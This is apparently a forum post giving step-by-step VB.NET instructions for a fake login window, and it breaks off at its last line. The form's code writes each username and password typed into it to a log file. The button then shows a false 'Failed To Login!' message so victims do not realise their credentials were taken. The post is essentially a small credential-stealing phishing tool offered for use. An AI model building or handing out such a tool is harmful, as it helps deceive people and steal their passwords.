Okay here is the steps you need to do

add
2 labels
2 textbox
1 button
1 radiobutton

Labels name them Username and Password
Textbox leave them normal and then the for the password put TRUE on use password character
Button name it login!
radiobutton name it as Remember Me

Now if you want it to record all what they type then click on the form and make it open coding and put this code
Code:
        Dim W As New System.IO.StreamWriter("filepath\logs.txt", True)
        W.WriteLine("Username: " & TextBox1.Text & " & " & "Password: " & TextBox2.Text)
        W.Close()
Now if you want it for when they click the button put this code
Code:
        Dim W As New System.IO.StreamWriter("filepath\logs.txt", True)
        W.WriteLine("Username: " & TextBox1.Text & " & " & "Password: " & TextBox2.Text)
        W.Close()
        MsgBox("Failed To Login!")
Now me i like to put my stuff differnt here is one of mine